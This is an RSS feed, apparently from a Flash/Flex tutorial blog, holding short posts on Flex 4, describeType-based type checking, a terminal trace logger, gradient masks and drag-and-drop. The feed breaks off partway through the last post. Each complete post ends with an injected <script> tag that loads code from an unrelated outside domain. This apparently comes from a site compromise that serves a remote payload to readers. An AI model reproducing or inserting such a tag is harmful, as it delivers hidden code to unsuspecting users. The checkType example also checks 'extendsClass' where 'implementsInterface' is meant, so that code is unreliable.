<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>FlashFuck.it &#187; Tutorials</title>
	<atom:link href="http://www.flashfuck.it/category/tutorials/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.flashfuck.it</link>
	<description>flash platform, gaming and 3D</description>
	<lastBuildDate>Tue, 27 Apr 2010 12:53:37 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Diving into Gumbo</title>
		<link>http://www.flashfuck.it/2009/11/13/diving-into-gumbo/</link>
		<comments>http://www.flashfuck.it/2009/11/13/diving-into-gumbo/#comments</comments>
		<pubDate>Fri, 13 Nov 2009 16:03:42 +0000</pubDate>
		<dc:creator>pigiuz</dc:creator>
				<category><![CDATA[Flex]]></category>
		<category><![CDATA[Tutorials]]></category>
		<category><![CDATA[Adobe]]></category>
		<category><![CDATA[Flex4]]></category>

		<guid isPermaLink="false">http://www.flashfuck.it/?p=161</guid>
		<description><![CDATA[You know what? I found the jump very easy and those guys at Adobe&#8217;s hq did a wonderful job on driving people into this new release of the Flex framework.
I&#8217;m not posting some code this time, just a link to a project which can be sooooooo helpful to take your dive: &#8220;Flex in a Week&#8221;.
Nothing [...]]]></description>
			<content:encoded><![CDATA[<p>You know what? I found the jump very easy and those guys at Adobe&#8217;s hq did a wonderful job on driving people into this new release of the Flex framework.<br />
I&#8217;m not posting some code this time, just a link to a project which can be sooooooo helpful to take your dive: &#8220;Flex in a Week&#8221;.<br />
Nothing hard, just take your time, your headphones and a good internet connection, drive your browser to <a href="http://www.adobe.com/devnet/flex/videotraining/flex4beta/index.html">http://www.adobe.com/devnet/flex/videotraining/flex4beta/index.html</a> and start from the beginning&#8230;<br />
If you&#8217;re not new to flex programming it will take you half a day to get into this new baby.</p>
<p>bye for now <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.flashfuck.it/2009/11/13/diving-into-gumbo/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Building a structured RIA with Flex and PHP5\MySQL (episode 1)</title>
		<link>http://www.flashfuck.it/2009/04/15/building-a-structured-ria-with-flex-and-php5mysql-episode-1/</link>
		<comments>http://www.flashfuck.it/2009/04/15/building-a-structured-ria-with-flex-and-php5mysql-episode-1/#comments</comments>
		<pubDate>Wed, 15 Apr 2009 21:05:54 +0000</pubDate>
		<dc:creator>pigiuz</dc:creator>
				<category><![CDATA[Community]]></category>
		<category><![CDATA[Tutorials]]></category>
		<category><![CDATA[The Flash Mind]]></category>

		<guid isPermaLink="false">http://www.flashfuck.it/?p=139</guid>
		<description><![CDATA[Just posted the first episode of a cool tutorial on building RIAs with Cairngorm and Doctrine (a PHP ORM). This episode is about client only, next one will be about server side development.

Have a huge coffee cup and take a read 
Here&#8217;s the link 
]]></description>
			<content:encoded><![CDATA[<p>Just posted the first episode of a cool tutorial on <a href="http://www.theflashmind.com/blog/?p=16">building RIAs with Cairngorm and Doctrine (a PHP ORM)</a>. This episode is about client only, next one will be about server side development.</p>
<p style="text-align: center;"><img class="alignnone size-medium wp-image-142" title="tfmlogo" src="http://www.flashfuck.it/wp-content/uploads/2009/04/tfmlogo.jpg" alt="tfmlogo" width="240" height="220" /></p>
<p>Have a huge coffee cup and take a read <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /><br />
Here&#8217;s the <a href="http://www.theflashmind.com/blog/?p=16">link </a><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.flashfuck.it/2009/04/15/building-a-structured-ria-with-flex-and-php5mysql-episode-1/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Check a Class type with describeType and getQualifiedClassName</title>
		<link>http://www.flashfuck.it/2009/03/04/check-a-class-type-with-describetype-and-getqualifiedclassname/</link>
		<comments>http://www.flashfuck.it/2009/03/04/check-a-class-type-with-describetype-and-getqualifiedclassname/#comments</comments>
		<pubDate>Wed, 04 Mar 2009 14:51:09 +0000</pubDate>
		<dc:creator>pigiuz</dc:creator>
				<category><![CDATA[ActionScript 3]]></category>
		<category><![CDATA[Tools]]></category>
		<category><![CDATA[Tutorials]]></category>

		<guid isPermaLink="false">http://www.flashfuck.it/?p=115</guid>
		<description><![CDATA[Recently I faced this problem: how to get if a Class is extending another one or implementing an interface?
this is the specific case:

?View Code ACTIONSCRIPTfunction checkType&#40;toCheck:Class,typeClass:Class=null,typeInterface:Class=null&#41;:Boolean
&#123;
// if an instance of toCheck is a typeClass or a typeInterface
// return true
// else
// return false
&#125;

The task is quite simple, the first solution would be get an instance of [...]]]></description>
			<content:encoded><![CDATA[<p>Recently I faced this problem: how to get if a Class is extending another one or implementing an interface?</p>
<p>this is the specific case:</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p115code4'); return false;">View Code</a> ACTIONSCRIPT</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table width="100%" ><tr id="p1154"><td class="code" id="p115code4"><pre class="actionscript" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">function</span> checkType<span style="color: #66cc66;">&#40;</span>toCheck:<span style="color: #000000; font-weight: bold;">Class</span>,typeClass:<span style="color: #000000; font-weight: bold;">Class</span>=<span style="color: #000000; font-weight: bold;">null</span>,typeInterface:<span style="color: #000000; font-weight: bold;">Class</span>=<span style="color: #000000; font-weight: bold;">null</span><span style="color: #66cc66;">&#41;</span>:<span style="color: #0066CC;">Boolean</span>
<span style="color: #66cc66;">&#123;</span>
<span style="color: #808080; font-style: italic;">// if an instance of toCheck is a typeClass or a typeInterface</span>
<span style="color: #808080; font-style: italic;">// return true</span>
<span style="color: #808080; font-style: italic;">// else</span>
<span style="color: #808080; font-style: italic;">// return false</span>
<span style="color: #66cc66;">&#125;</span></pre></td></tr></table></div>

<p>The task is quite simple, the first solution would be get an instance of toCheck and use the is operator to actually check the type&#8230;but this would mean both a waste of resources and an &#8220;unwanted behaviour generator&#8221; (just think about a parser class instantiated without a real need or something like that).</p>
<p>Nope, that solution sucks.</p>
<p>Let&#8217;s try something better, let&#8217;s make the player inform us which is the toCheck class structure, let&#8217;s use describeType.</p>
<p>describeType is a wonderful function you can find in flash.utils package, it examines an untyped object and returns an xml document containing the description of that type (more details at <a href="http://livedocs.adobe.com/flex/3/langref/flash/utils/package.html#describeType()">adobe livedocs</a>)&#8230;something like this:</p>
<p>NOTE: click on &#8220;view code&#8221; to see the real xml document, my wp is escaping tags chars &amp;lt;&amp;gt; &#8230;:\</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p115code5'); return false;">View Code</a> HTML</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table width="100%" ><tr id="p1155"><td class="code" id="p115code5"><pre class="html" style="font-family:monospace;">&amp;lt;type name=&quot;flash.events::EventDispatcher&quot; base=&quot;Class&quot; isDynamic=&quot;true&quot; isFinal=&quot;true&quot; isStatic=&quot;true&quot;&amp;gt;
  &amp;lt;extendsClass type=&quot;Class&quot;/&amp;gt;
  &amp;lt;extendsClass type=&quot;Object&quot;/&amp;gt;
  &amp;lt;accessor name=&quot;prototype&quot; access=&quot;readonly&quot; type=&quot;*&quot; declaredBy=&quot;Class&quot;/&amp;gt;
  &amp;lt;factory type=&quot;flash.events::EventDispatcher&quot;&amp;gt;
    &amp;lt;metadata name=&quot;Event&quot;&amp;gt;
      &amp;lt;arg key=&quot;name&quot; value=&quot;deactivate&quot;/&amp;gt;
      &amp;lt;arg key=&quot;type&quot; value=&quot;flash.events.Event&quot;/&amp;gt;
    &amp;lt;/metadata&amp;gt;
    &amp;lt;metadata name=&quot;Event&quot;&amp;gt;
      &amp;lt;arg key=&quot;name&quot; value=&quot;activate&quot;/&amp;gt;
      &amp;lt;arg key=&quot;type&quot; value=&quot;flash.events.Event&quot;/&amp;gt;
    &amp;lt;/metadata&amp;gt;
    &amp;lt;extendsClass type=&quot;Object&quot;/&amp;gt;
    &amp;lt;implementsInterface type=&quot;flash.events::IEventDispatcher&quot;/&amp;gt;
    &amp;lt;constructor&amp;gt;
      &amp;lt;parameter index=&quot;1&quot; type=&quot;*&quot; optional=&quot;true&quot;/&amp;gt;
    &amp;lt;/constructor&amp;gt;
    &amp;lt;method name=&quot;willTrigger&quot; declaredBy=&quot;flash.events::EventDispatcher&quot; returnType=&quot;Boolean&quot;&amp;gt;
      &amp;lt;parameter index=&quot;1&quot; type=&quot;String&quot; optional=&quot;false&quot;/&amp;gt;
    &amp;lt;/method&amp;gt;
    &amp;lt;method name=&quot;hasEventListener&quot; declaredBy=&quot;flash.events::EventDispatcher&quot; returnType=&quot;Boolean&quot;&amp;gt;
      &amp;lt;parameter index=&quot;1&quot; type=&quot;String&quot; optional=&quot;false&quot;/&amp;gt;
    &amp;lt;/method&amp;gt;
    &amp;lt;method name=&quot;removeEventListener&quot; declaredBy=&quot;flash.events::EventDispatcher&quot; returnType=&quot;void&quot;&amp;gt;
      &amp;lt;parameter index=&quot;1&quot; type=&quot;String&quot; optional=&quot;false&quot;/&amp;gt;
      &amp;lt;parameter index=&quot;2&quot; type=&quot;Function&quot; optional=&quot;false&quot;/&amp;gt;
      &amp;lt;parameter index=&quot;3&quot; type=&quot;Boolean&quot; optional=&quot;true&quot;/&amp;gt;
    &amp;lt;/method&amp;gt;
    &amp;lt;method name=&quot;dispatchEvent&quot; declaredBy=&quot;flash.events::EventDispatcher&quot; returnType=&quot;Boolean&quot;&amp;gt;
      &amp;lt;parameter index=&quot;1&quot; type=&quot;flash.events::Event&quot; optional=&quot;false&quot;/&amp;gt;
    &amp;lt;/method&amp;gt;
    &amp;lt;method name=&quot;addEventListener&quot; declaredBy=&quot;flash.events::EventDispatcher&quot; returnType=&quot;void&quot;&amp;gt;
      &amp;lt;parameter index=&quot;1&quot; type=&quot;String&quot; optional=&quot;false&quot;/&amp;gt;
      &amp;lt;parameter index=&quot;2&quot; type=&quot;Function&quot; optional=&quot;false&quot;/&amp;gt;
      &amp;lt;parameter index=&quot;3&quot; type=&quot;Boolean&quot; optional=&quot;true&quot;/&amp;gt;
      &amp;lt;parameter index=&quot;4&quot; type=&quot;int&quot; optional=&quot;true&quot;/&amp;gt;
      &amp;lt;parameter index=&quot;5&quot; type=&quot;Boolean&quot; optional=&quot;true&quot;/&amp;gt;
    &amp;lt;/method&amp;gt;
    &amp;lt;method name=&quot;toString&quot; declaredBy=&quot;flash.events::EventDispatcher&quot; returnType=&quot;String&quot;/&amp;gt;
  &amp;lt;/factory&amp;gt;
&amp;lt;/type&amp;gt;</pre></td></tr></table></div>

<p>As you can see in this EventDispatcher type description there are two nodes witch are fitting the task&#8217;s purposes:</p>
<p>&lt;extendsClass&gt; and &lt;implementsInterface&gt;</p>
<p>Those nodes are repeated for each class or interface in the given class (toCheck) chain of inheritance and they contain the qualified class name string of the extended\implemented class\interface.</p>
<p>In this case EventDispatcher extendsClass type=&#8217;Object&#8217; and implementsInterface type=&#8217;flash.events::IEventDispatcher&#8217; &#8230;quite clear right?:)  Now, back to the implementation:</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p115code6'); return false;">View Code</a> ACTIONSCRIPT</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table width="100%" ><tr id="p1156"><td class="code" id="p115code6"><pre class="actionscript" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">function</span> checkType<span style="color: #66cc66;">&#40;</span>toCheck:<span style="color: #000000; font-weight: bold;">Class</span>,typeClass:<span style="color: #000000; font-weight: bold;">Class</span>=<span style="color: #000000; font-weight: bold;">null</span>,typeInterface:<span style="color: #000000; font-weight: bold;">Class</span>=<span style="color: #000000; font-weight: bold;">null</span><span style="color: #66cc66;">&#41;</span>:<span style="color: #0066CC;">Boolean</span>
<span style="color: #66cc66;">&#123;</span>
	<span style="color: #808080; font-style: italic;">//gets the toCheck class type xml description</span>
	<span style="color: #000000; font-weight: bold;">var</span> _typeXML:<span style="color: #0066CC;">XML</span>=describeType<span style="color: #66cc66;">&#40;</span>toCheck<span style="color: #66cc66;">&#41;</span>;
	<span style="color: #808080; font-style: italic;">//gets the typeClass and typeInterface qualified class names</span>
	<span style="color: #000000; font-weight: bold;">var</span> _result:<span style="color: #0066CC;">Boolean</span>=<span style="color: #000000; font-weight: bold;">false</span>;
	<span style="color: #b1b100;">if</span> <span style="color: #66cc66;">&#40;</span>typeClass<span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">&#123;</span>
		<span style="color: #808080; font-style: italic;">// if toCheck is a typeClass</span>
		<span style="color: #b1b100;">for</span> each <span style="color: #66cc66;">&#40;</span><span style="color: #000000; font-weight: bold;">var</span> _extClass:<span style="color: #0066CC;">XML</span> <span style="color: #b1b100;">in</span> _typeXML.<span style="color: #006600;">factory</span>.<span style="color: #006600;">elements</span><span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">'extendsClass'</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">&#123;</span>
			<span style="color: #b1b100;">if</span> <span style="color: #66cc66;">&#40;</span>_extClass.<span style="color: #66cc66;">@</span><span style="color: #0066CC;">type</span>==getQualifiedClassName<span style="color: #66cc66;">&#40;</span>typeClass<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">&#123;</span>
				_result=<span style="color: #000000; font-weight: bold;">true</span>;
				<span style="color: #b1b100;">break</span>;
			<span style="color: #66cc66;">&#125;</span>
		<span style="color: #66cc66;">&#125;</span>
	<span style="color: #66cc66;">&#125;</span>
	<span style="color: #808080; font-style: italic;">// do the same for typeInterface but checking 'implementsInterface' node</span>
	<span style="color: #b1b100;">if</span> <span style="color: #66cc66;">&#40;</span>typeInterface<span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">&#123;</span>
		<span style="color: #b1b100;">for</span> each <span style="color: #66cc66;">&#40;</span><span style="color: #000000; font-weight: bold;">var</span> _impInterface:<span style="color: #0066CC;">XML</span> <span style="color: #b1b100;">in</span> _typeXML.<span style="color: #006600;">factory</span>.<span style="color: #006600;">elements</span><span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">'extendsClass'</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">&#123;</span>
			<span style="color: #b1b100;">if</span> <span style="color: #66cc66;">&#40;</span>_impInterface.<span style="color: #66cc66;">@</span><span style="color: #0066CC;">type</span>==getQualifiedClassName<span style="color: #66cc66;">&#40;</span>typeInterface<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">&#123;</span>
				_result=<span style="color: #000000; font-weight: bold;">true</span>;
				<span style="color: #b1b100;">break</span>;
			<span style="color: #66cc66;">&#125;</span>
		<span style="color: #66cc66;">&#125;</span>
	<span style="color: #66cc66;">&#125;</span>
&nbsp;
	<span style="color: #b1b100;">return</span> _result;
<span style="color: #66cc66;">&#125;</span></pre></td></tr></table></div>

<p>&#8230;and the task got done <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>stay tuned <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> <script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.flashfuck.it/2009/03/04/check-a-class-type-with-describetype-and-getqualifiedclassname/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Trace on a shell</title>
		<link>http://www.flashfuck.it/2008/08/30/trace-on-a-shell/</link>
		<comments>http://www.flashfuck.it/2008/08/30/trace-on-a-shell/#comments</comments>
		<pubDate>Sat, 30 Aug 2008 14:09:28 +0000</pubDate>
		<dc:creator>pigiuz</dc:creator>
				<category><![CDATA[Flash Player]]></category>
		<category><![CDATA[Tools]]></category>
		<category><![CDATA[Tutorials]]></category>
		<category><![CDATA[flashtracer]]></category>
		<category><![CDATA[Mac OSX]]></category>
		<category><![CDATA[trace]]></category>

		<guid isPermaLink="false">http://www.flashfuck.it/?p=80</guid>
		<description><![CDATA[Since it has been created i&#8217;ve been a fan of flash tracer extension, i really fell in love with that tool, but i noticed it slow down the browser and can even make it crash.
So, let&#8217;s open a trace logger on our terminal&#8230;
To do that the right command is &#8220;tail&#8221; which actually &#8220;[...]Print  the  last [...]]]></description>
			<content:encoded><![CDATA[<p>Since it has been created i&#8217;ve been a fan of flash tracer extension, i really fell in love with that tool, but i noticed it slow down the browser and can even make it crash.</p>
<p>So, let&#8217;s open a trace logger on our terminal&#8230;</p>
<p>To do that the right command is &#8220;tail&#8221; which actually &#8220;<a href="http://lowfatlinux.com/linux-tail-manual.html" target="_blank">[...]Print  the  last 10 lines of each FILE to standard output[...]</a>&#8221; and the file to open is located in /Users/[your username]/Library/Preferences/Macromedia/Flash\ Player/Logs/flashlog.txt</p>
<p>Then, let&#8217;s do something good and useful with that:</p>
<p>open your TextEdit, cmd+shift+T to switch to plain text, write down this one line command:</p>
<p><code>tail -f /Users/[your username]/Library/Preferences/Macromedia/Flash\ Player/Logs/flashlog.txt</code></p>
<p>save the file as &#8220;flashtracer.sh&#8221; and use sh as file extension instead of txt.</p>
<p>then right click on the file, reach the &#8220;open with&#8221; menu and choose &#8220;terminal&#8221; application located inside utility folder. Note: it would be great if you set terminal as default application to open that file <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>ok, now everything&#8217;s ready; double click on flashtracer.sh and start tracing <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Note: remember you&#8217;re in a shell now, so you can clear up the lines with cmd+K&#8230;</p>
<p>I hope it can be useful,</p>
<p>byez <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> <script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.flashfuck.it/2008/08/30/trace-on-a-shell/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Wanna build your own 3D engine?</title>
		<link>http://www.flashfuck.it/2008/06/02/wanna-build-your-own-3d-engine/</link>
		<comments>http://www.flashfuck.it/2008/06/02/wanna-build-your-own-3d-engine/#comments</comments>
		<pubDate>Mon, 02 Jun 2008 13:53:01 +0000</pubDate>
		<dc:creator>pigiuz</dc:creator>
				<category><![CDATA[3D]]></category>
		<category><![CDATA[ActionScript 3]]></category>
		<category><![CDATA[Tutorials]]></category>

		<guid isPermaLink="false">http://www.flashfuck.it/2008/06/02/wanna-build-your-own-3d-engine/</guid>
		<description><![CDATA[I just found a very good tutorial by Senocular able to clarify every (or at least many) doubt and misunderstanding about practices to bring 3D effects in Flash.¬† Here&#8217;s the link http://www.kirupa.com/developer/actionscript/3dindex.htm
I don&#8217;t know if someone would be interested in this kind of experiments, there are many good projects that make 3D approach easier than [...]]]></description>
			<content:encoded><![CDATA[<p>I just found a very good tutorial by <a href="http://www.senocular.com/">Senocular</a> able to clarify every (or at least many) doubt and misunderstanding about practices to bring 3D effects in Flash.¬† Here&#8217;s the link <a href="http://www.kirupa.com/developer/actionscript/3dindex.htm">http://www.kirupa.com/developer/actionscript/3dindex.htm</a></p>
<p>I don&#8217;t know if someone would be interested in this kind of experiments, there are many good projects that make 3D approach easier than build your own engine. However even if <a href="http://blog.papervision3d.org/">Papervision</a> or <a href="http://away3d.com/">Away3D</a> let us make 3D content (..oh, i forgot to add <a href="http://labs.adobe.com/technologies/flashplayer10/">flash 10</a> to this list <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> ) I think it&#8217;s always better to understand what&#8217;s going on behind the scenes to better comprehend what&#8217;s the magic made of <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> <script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.flashfuck.it/2008/06/02/wanna-build-your-own-3d-engine/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Gradient Masking &#8211; La sfumatura nelle maschere</title>
		<link>http://www.flashfuck.it/2008/01/06/gradient-masking-la-sfumatura-nelle-maschere/</link>
		<comments>http://www.flashfuck.it/2008/01/06/gradient-masking-la-sfumatura-nelle-maschere/#comments</comments>
		<pubDate>Sun, 06 Jan 2008 00:23:46 +0000</pubDate>
		<dc:creator>pigiuz</dc:creator>
				<category><![CDATA[ActionScript 2]]></category>
		<category><![CDATA[ActionScript 3]]></category>
		<category><![CDATA[Flash]]></category>
		<category><![CDATA[Tutorials]]></category>
		<category><![CDATA[Source]]></category>

		<guid isPermaLink="false">http://www.flashfuck.it/2008/01/06/gradient-masking-la-sfumatura-nelle-maschere/</guid>
		<description><![CDATA[Questo √® uno &#8220;microtutorial&#8221; piuttosto semplice sulle maschere (sono 2 linee di codice -.-) che per√≤ ho notato non essere troppo conosciuto.
Come creare un effetto &#8220;pila&#8221; o &#8220;occhio di bue&#8221;? o pi√π banalmente, come creare una maschera sfumata con flash8 o superiori?

crea un movieclip da mascherare
crea un altro movieclip contenente una forma con riempimento a [...]]]></description>
			<content:encoded><![CDATA[<p>Questo √® uno &#8220;microtutorial&#8221; piuttosto semplice sulle maschere (sono 2 linee di codice -.-) che per√≤ ho notato non essere troppo conosciuto.</p>
<p>Come creare un effetto &#8220;pila&#8221; o &#8220;occhio di bue&#8221;? o pi√π banalmente, come creare una maschera sfumata con flash8 o superiori?</p>
<ol>
<li>crea un movieclip da mascherare</li>
<li>crea un altro movieclip contenente una forma con riempimento a gradiente nel quale almeno un colore abbia alpha minore di 100</li>
<li>posiziona nello stage (fisicamente o via actionscript) i due clip: il mascherato e la maschera</li>
<li>via actionscript imposta a true la propriet√† &#8220;cacheAsBitmap&#8221; di ciascun movieclip</li>
<li>sempre via actionscript imposta la maschera del movieclip da mascherare (setMask in AS2 o mask in AS3)</li>
</ol>
<p>ecco il risultato:<br />
<object type="application/x-shockwave-flash" data="http://www.flashfuck.it/wp-content/uploads/2008/01/maschere_sfumate1.swf" width="400" height="200" class="embedflash"><param name="movie" value="http://www.flashfuck.it/wp-content/uploads/2008/01/maschere_sfumate1.swf" /><param name="allowfullscreen" value="true" /><param name="allowscriptaccess" value="always" /><small>(Please open the article to see the flash file or player.)</small></object></p>
<p>questo il fla dell&#8217;esempio (CS3) <a href='http://www.flashfuck.it/wp-content/uploads/2008/01/maschere_sfumate_flasfuckit.zip' title='maschere_sfumate_flasfuckit.zip'>Download Source</a><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.flashfuck.it/2008/01/06/gradient-masking-la-sfumatura-nelle-maschere/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Flex Skinning Tutorial</title>
		<link>http://www.flashfuck.it/2007/12/30/flex-skinning-tutorial/</link>
		<comments>http://www.flashfuck.it/2007/12/30/flex-skinning-tutorial/#comments</comments>
		<pubDate>Sun, 30 Dec 2007 16:12:52 +0000</pubDate>
		<dc:creator>pigiuz</dc:creator>
				<category><![CDATA[Flex]]></category>
		<category><![CDATA[Tutorials]]></category>
		<category><![CDATA[Yahoo]]></category>

		<guid isPermaLink="false">http://www.flashfuck.it/2007/12/30/flex-skinning-tutorial/</guid>
		<description><![CDATA[Ho trovato questo tutorial sul flex skinning direttamente sul developer network di yahoo.
tasty  
http://developer.yahoo.com/flash/articles/flex-skinning.html
]]></description>
			<content:encoded><![CDATA[<p>Ho trovato questo tutorial sul flex skinning direttamente sul developer network di yahoo.</p>
<p>tasty <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
<p><a href="http://developer.yahoo.com/flash/articles/flex-skinning.html">http://developer.yahoo.com/flash/articles/flex-skinning.html</a><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.flashfuck.it/2007/12/30/flex-skinning-tutorial/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Flex 2 Drag&#8217;n&#8217;Drop Howto &#8211; Datagrid Drop Into</title>
		<link>http://www.flashfuck.it/2007/11/22/flex-2-dragndrop-howto-datagrid-drop-into/</link>
		<comments>http://www.flashfuck.it/2007/11/22/flex-2-dragndrop-howto-datagrid-drop-into/#comments</comments>
		<pubDate>Thu, 22 Nov 2007 00:41:44 +0000</pubDate>
		<dc:creator>pigiuz</dc:creator>
				<category><![CDATA[ActionScript 3]]></category>
		<category><![CDATA[Flex]]></category>
		<category><![CDATA[Tutorials]]></category>
		<category><![CDATA[Source]]></category>

		<guid isPermaLink="false">http://www.flashfuck.it/2007/11/22/flex-2-dragndrop-howto-datagrid-drop-into/</guid>
		<description><![CDATA[Inauguro con questo tutorial la finora linda categoria Flex  
Il breve tutorial che andrete a leggere verte su come fare un semplice drag n drop tra 2 list component in modo che gli item dell&#8217;uno fungano come target al drop degli elementi dell&#8217;altro (una possibile applicazione potrebbe essere quella di spostare dei files all&#8217;interno [...]]]></description>
			<content:encoded><![CDATA[<p>Inauguro con questo tutorial la finora linda categoria Flex <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
<p>Il breve tutorial che andrete a leggere verte su come fare un semplice drag n drop tra 2 list component in modo che gli item dell&#8217;uno fungano come target al drop degli elementi dell&#8217;altro (una possibile applicazione potrebbe essere quella di spostare dei files all&#8217;interno di una lista di cartelle).</p>
<p><strong>Il drag n drop standard:</strong></p>
<p>Flex permette di abilitare il drag n drop tra due component direttamente da mxml, senza tanti problemi, abilitando le propriet√† dragEnabled e dropEnabled dei componenti desiderati.</p>
<p>Il risultato che si ottiene abilitando dragEnabled e dropEnabled √® questo:</p>
<p><object type="application/x-shockwave-flash" data="http://www.flashfuck.it/wp-content/uploads/2007/11/dragdropintoko.swf" width="400" height="300" class="embedflash"><param name="movie" value="http://www.flashfuck.it/wp-content/uploads/2007/11/dragdropintoko.swf" /><param name="allowfullscreen" value="true" /><param name="allowscriptaccess" value="always" /><small>(Please open the article to see the flash file or player.)</small></object></p>
<p><em>Droppando </em>gli elementi della tilelist all&#8217;interno del datagrid questi verranno clonati ed aggiunti allo stesso datagrid. Le righe del datagrid non sono selezionabili, i nuovi elementi sono aggiunti prima o dopo i record gi√† presenti.</p>
<p><span id="more-42"></span><br />
<strong>Il drag n drop into: </strong></p>
<p>Mi ci sono scervellato un p√≤, ho tirato in ballo varie community, ma alla fine la soluzione era nel langRef di flex (come al solito <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> )</p>
<p>Prendiamo in considerazione la struttura dell&#8217;applicazione</p>
<p><code>&lt;?xml version="1.0" encoding="utf-8"?&gt;<br />
&lt;mx:Application xmlns:mx="http://www.adobe.com/2006/mxml" layout="absolute"&gt;<br />
&lt;mx:HBox width="100%" height="100%"&gt;<br />
&lt;mx:DataGrid width="50%" height="100%" id="drop_dg"&gt;<br />
&lt;mx:columns&gt;<br />
&lt;mx:DataGridColumn headerText="Directories" dataField="label"/&gt;<br />
&lt;/mx:columns&gt;<br />
&lt;mx:dataProvider&gt;<br />
&lt;mx:ArrayCollection&gt;<br />
&lt;mx:Array&gt;<br />
&lt;mx:Object label='directory 1'/&gt;<br />
&lt;mx:Object label='directory 2'/&gt;<br />
&lt;mx:Object label='directory 3'/&gt;<br />
&lt;mx:Object label='directory 4'/&gt;<br />
&lt;/mx:Array&gt;<br />
&lt;/mx:ArrayCollection&gt;<br />
&lt;/mx:dataProvider&gt;<br />
&lt;/mx:DataGrid&gt;<br />
&lt;mx:TileList width="50%"<br />
height="100%"<br />
labelField="label"<br />
dragEnabled="true"<br />
id="drag_tl"<br />
columnWidth="50"<br />
rowHeight="50"<br />
allowMultipleSelection="true"&gt;<br />
&lt;mx:dataProvider&gt;<br />
&lt;mx:ArrayCollection&gt;<br />
&lt;mx:Array&gt;<br />
&lt;mx:Object label='item 1'/&gt;<br />
&lt;mx:Object label='item 2'/&gt;<br />
&lt;mx:Object label='item 3'/&gt;<br />
&lt;mx:Object label='item 4'/&gt;<br />
&lt;/mx:Array&gt;<br />
